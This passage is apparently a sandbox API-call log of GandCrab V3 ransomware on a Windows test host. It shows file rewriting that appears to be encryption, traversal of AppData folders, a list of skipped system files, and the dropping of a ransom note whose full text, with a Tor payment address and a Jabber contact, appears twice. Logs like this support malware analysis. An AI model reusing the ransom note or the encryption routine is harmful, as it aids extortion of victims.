	[0111.018] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0111.019] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0111.019] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x54256, lpOverlapped=0x0) returned 1
	[0111.046] VirtualAlloc (lpAddress=0x0, dwSize=0x54260, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0111.052] VirtualAlloc (lpAddress=0x0, dwSize=0x54260, flAllocationType=0x3000, flProtect=0x4) returned 0x33c0000
	[0111.060] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.062] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffabdaa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.062] WriteFile (in: hFile=0x3f8, lpBuffer=0x33c0000*, nNumberOfBytesToWrite=0x54260, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33c0000*, lpNumberOfBytesWritten=0x314a9bc*=0x54260, lpOverlapped=0x0) returned 1
	[0111.063] VirtualFree (lpAddress=0x33c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.064] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.069] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0111.069] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0111.069] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0111.069] CloseHandle (hObject=0x3f8) returned 1
	[0111.074] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.075] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.075] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.075] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.076] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.076] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.076] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0111.076] FindClose (in: hFindFile=0xd48280 | out: hFindFile=0xd48280) returned 1
	[0111.076] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0111.076] FindClose (in: hFindFile=0xd808e0 | out: hFindFile=0xd808e0) returned 1
	[0111.077] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.077] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.077] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt"
	[0111.077] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.077] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned 64
	[0111.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned 64
	[0111.077] lstrlenW (lpString=".txt") returned 4
	[0111.077] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.077] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.078] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.078] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned 64
	[0111.078] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\CRAB-DECRYPT.txt") returned 64
	[0111.078] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.078] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.078] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.078] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.078] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.078] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.078] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.078] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.078] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.078] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.079] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.079] lstrcmpW (lpString1="Credentials", lpString2=".") returned 1
	[0111.079] lstrcmpW (lpString1="Credentials", lpString2="..") returned 1
	[0111.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Credentials" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials"
	[0111.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\"
	[0111.079] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.079] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.079] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.079] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.079] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.079] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.080] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.080] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.080] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.080] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.080] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.080] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.080] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\\\CRAB-DECRYPT.txt") returned 77
	[0111.080] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\credentials\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0111.081] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.081] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0111.082] CloseHandle (hObject=0x3f0) returned 1
	[0111.082] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.082] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned 60
	[0111.083] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*"
	[0111.083] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0111.083] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.083] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.083] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.083] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.083] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.083] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.083] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.083] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\CRAB-DECRYPT.txt"
	[0111.083] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.084] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\CRAB-DECRYPT.txt") returned 76
	[0111.084] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\CRAB-DECRYPT.txt") returned 76
	[0111.084] lstrlenW (lpString=".txt") returned 4
	[0111.084] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.084] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.084] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.085] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\CRAB-DECRYPT.txt") returned 76
	[0111.085] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\CRAB-DECRYPT.txt") returned 76
	[0111.085] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.085] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.085] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.085] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.085] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.085] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.085] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.085] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.085] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.085] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.085] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0111.085] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0111.085] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.085] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1
	[0111.086] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1
	[0111.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto"
	[0111.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\"
	[0111.086] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.086] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.086] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.086] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.086] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.086] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.086] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.087] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.087] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.087] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.087] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.087] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.087] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\\\CRAB-DECRYPT.txt") returned 72
	[0111.087] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0111.089] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.089] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0111.089] CloseHandle (hObject=0x3f0) returned 1
	[0111.090] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.090] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned 55
	[0111.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*"
	[0111.090] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7130
	[0111.090] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.090] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.090] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.091] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.091] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.091] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.091] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.091] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\CRAB-DECRYPT.txt"
	[0111.091] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.091] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\CRAB-DECRYPT.txt") returned 71
	[0111.091] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\CRAB-DECRYPT.txt") returned 71
	[0111.091] lstrlenW (lpString=".txt") returned 4
	[0111.091] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.091] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.091] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.092] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\CRAB-DECRYPT.txt") returned 71
	[0111.092] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\CRAB-DECRYPT.txt") returned 71
	[0111.092] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.092] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.092] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.092] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.092] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.092] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.092] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.092] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.092] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.092] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.092] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.092] lstrcmpW (lpString1="RSA", lpString2=".") returned 1
	[0111.092] lstrcmpW (lpString1="RSA", lpString2="..") returned 1
	[0111.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA"
	[0111.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\"
	[0111.092] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.092] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.093] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.093] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
